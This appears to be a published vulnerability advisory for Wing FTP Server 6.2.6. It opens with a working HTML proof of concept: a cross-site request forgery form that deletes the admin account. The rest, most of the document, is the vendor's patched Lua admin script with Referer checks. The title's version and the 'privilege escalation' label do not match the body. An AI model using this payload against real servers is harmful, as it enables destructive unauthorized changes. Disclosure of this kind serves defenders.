1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319 | # Exploit Title: Wing FTP Server 6.2.3 - Privilege Escalation
# Date: 2020-03-10
# Exploit Author: Dhiraj Mishra
# Vendor Homepage: https://www.wftpserver.com
# Version: v6.2.6
# Tested on: Windows 10
*Summary:*
An authenticated CSRF exists in web client and web administration of Wing
FTP v6.2.6, a crafted HTML page could delete admin user from the
application where as administration needs to re-install the program and add
admin user again. Issue was patched in v6.2.7.
*Proof of concept:*
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://IP:5466/admin_delete_admin.html" method="POST">
<input type="hidden" name="username" value="admin" />
<input type="hidden" name="r" value="0.9219583354400562" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
*Patch (lua/cgiadmin.lua):*
URL: https://www.wftpserver.com/serverhistory.htm
local outfunc = "echo"
local function out (s, i, f)
s = string.sub(s, i, f or -1)
if s == "" then return s end
s = string.gsub(s, "([\\\n\'])", "\\%1")
s = string.gsub(s, "\r", "\\r")
return string.format(" %s('%s'); ", outfunc, s)
end
local function translate (s)
s = string.gsub(s, "<%%(.-)%%>", "<??lua %1 ??>")
local res = {}
local start = 1
while true do
local ip, fp, target, exp, code = string.find(s, "<%?%?(%w*)[
\t]*(=?)(.-)%?%?>", start)
if not ip then break end
table.insert(res, out(s, start, ip-1))
if target ~= "" and target ~= "lua" then
table.insert(res, out(s, ip, fp))
else
if exp == "=" then
table.insert(res, string.format(" %s(%s);", outfunc, code))
else
table.insert(res, string.format(" %s ", code))
end
end
start = fp + 1
end
table.insert(res, out(s, start))
return table.concat(res)
end
local function compile (src, chunkname)
return loadstring(translate(src),chunkname)
end
function include (filename, env)
if incfiles[filename] == nil then
incfiles[filename] = true;
path = c_GetAppPath()
path = path .. "/webadmin/"..filename
local errstr = string.format("<b>The page '%s' does not
exist!</b>",filename)
local fh,_ = io.open (path)
if not fh then
echo_out = echo_out..errstr
return
end
local src = fh:read("*a")
fh:close()
local prog = compile(src, path)
local _env
if env then
_env = getfenv (prog)
setfenv (prog, env)
end
local status,err = pcall(prog)
if not status then
if type(err) == "string" and not string.find(err,"exit function!") then
print(string.format("some error in %s!",err))
end
return
end
end
end
function var_dump(var)
print("{")
if type(var) == "string" or type(var) == "number" or type(var) == "boolean"
or type(var) == "function" then
print(var)
elseif(type(var) == "thread") then
print("thread")
elseif(type(var) == "userdata") then
print("userdata")
elseif type(var) == "nil" then
print("nil")
elseif type(var) == "table" then
for k,v in pairs(var) do
if type(k) == "string" then k="'"..k.."'" end
if(type(v) == "string") then
print(k.."=>'"..v.."',")
elseif(type(v) == "number" or type(v) == "boolean") then
print(k.."=>"..tostring(v)..",")
elseif(type(v) == "function") then
print(k.."=>function,")
elseif(type(v) == "thread") then
print(k.."=>thread,")
elseif(type(v) == "userdata") then
print(k.."=>userdata,")
elseif(type(v) == "nil") then
print(k.."=>nil,")
elseif(type(v) == "table") then
print(k.."=>table,")
else
print(k.."=>object,")
end
end
else
print("object")
end
print("}")
end
function init_get()
local MatchedReferer = true
if _SESSION_ID ~= nil then
local Referer = string.match(strHead,"[rR]eferer:%s?%s([^\r\n]*)")
if Referer ~= nil and Referer ~= "" then
local Host = string.match(strHead,"[hH]ost:%s?%s([^\r\n]*)")
if Host ~= nil and Host ~= "" then
if string.sub(Referer,8,string.len(Host)+7) == Host or
string.sub(Referer,9,string.len(Host)+8) == Host then
MatchedReferer = true
else
MatchedReferer = false
exit()
end
end
else
MatchedReferer = false
end
end
string.gsub (urlparam, "([^&=]+)=([^&=]*)&?",
function (key, val)
if key == "domain" then
if MatchedReferer == true then
rawset(_GET,key,val)
else
rawset(_GET,key,specialhtml_encode(val))
end
else
if MatchedReferer == true then
rawset(_GET,unescape(key),unescape(val))
else
--rawset(_GET,unescape(key),specialhtml_encode(unescape(val)))
end
end
end
)
end
function init_post()
local MatchedReferer = true
if _SESSION_ID ~= nil then
local Referer = string.match(strHead,"[rR]eferer:%s?%s([^\r\n]*)")
if Referer ~= nil and Referer ~= "" then
local Host = string.match(strHead,"[hH]ost:%s?%s([^\r\n]*)")
if Host ~= nil and Host ~= "" then
if string.sub(Referer,8,string.len(Host)+7) == Host or
string.sub(Referer,9,string.len(Host)+8) == Host then
MatchedReferer = true
else
MatchedReferer = false
exit()
end
end
else
MatchedReferer = false
end
end
if
string.find(strHead,"[cC]ontent%-[tT]ype:%s?multipart/form%-data;%s?boundary=")
then
string.gsub (strContent,
"[cC]ontent%-[dD]isposition:%s?form%-data;%s?name=\"([^\"\r\n]*)\"\r\n\r\n([^\r\n]*)\r\n",
function (key, val)
if key == "domain" then
if MatchedReferer == true then
rawset(_POST,key,val)
else
rawset(_POST,key,specialhtml_encode(val))
end
else
if MatchedReferer == true then
rawset(_POST,unescape(key),unescape(val))
else
--rawset(_POST,unescape(key),specialhtml_encode(unescape(val)))
end
end
end
)
else
string.gsub (strContent, "([^&=\r\n]+)=([^&=\r\n]*)&?",
function (key, val)
if key == "domain" then
if MatchedReferer == true then
rawset(_POST,key,val)
else
rawset(_POST,key,specialhtml_encode(val))
end
else
if MatchedReferer == true then
rawset(_POST,unescape(key),unescape(val))
else
--rawset(_POST,unescape(key),specialhtml_encode(unescape(val)))
end
end
end
)
end
end
function init_session()
if _COOKIE["UIDADMIN"] ~= nil then
_SESSION_ID = _COOKIE["UIDADMIN"]
SessionModule.load(_SESSION_ID)
end
end
function init_cookie()
local cookiestr = string.match(strHead,"[cC]ookie:%s?(%s[^\r\n]*)")
if cookiestr == nil or cookiestr == "" then return end
string.gsub (cookiestr, "([^%s;=]+)=([^;=]*)[;%s]?",
function (key, val)
rawset(_COOKIE,unescape(key),unescape(val))
end
)
end
function setcookie(name,value,expire_secs)
if name == "UIDADMIN" then return end
local expiretime = os.date("!%A, %d-%b-%Y %H:%M:%S GMT",
os.time()+3600*24*365)
_SETCOOKIE = _SETCOOKIE.."Set-Cookie: "..name.."="..value..";
expires="..expiretime.."\r\n"
rawset(_COOKIE,name,value)
end
function getcookie(name)
if name == "UIDADMIN" then return end
return _COOKIE[name]
end
function deletecookie(name)
setcookie(name,"",-10000000)
end
function deleteallcookies()
for name,_ in pairs(_COOKIE) do
deletecookie(name)
end
end
local cookie_metatable =
{
__newindex = function(t,k,v)
setcookie(k,v,360000)
end
}
setmetatable(_COOKIE,cookie_metatable)
session_metatable =
{
__newindex = function(t,k,v)
if type(v) ~= "table" then
if k ~= nil then
k = string.gsub(k,"'","")
k = string.gsub(k,"\"","")
end
if v ~= nil then
--v = string.gsub(v,"%[","")
--v = string.gsub(v,"%]","")
end
rawset(_SESSION,k,v)
SessionModule.save(_SESSION_ID)
end
end
}
--setmetatable(_SESSION,session_metatable)
function init_all()
init_cookie()
init_session()
init_get()
init_post()
end
function setContentType(typestr)
_CONTENTTYPE = typestr
end
function exit()
error("exit function!")
end
|
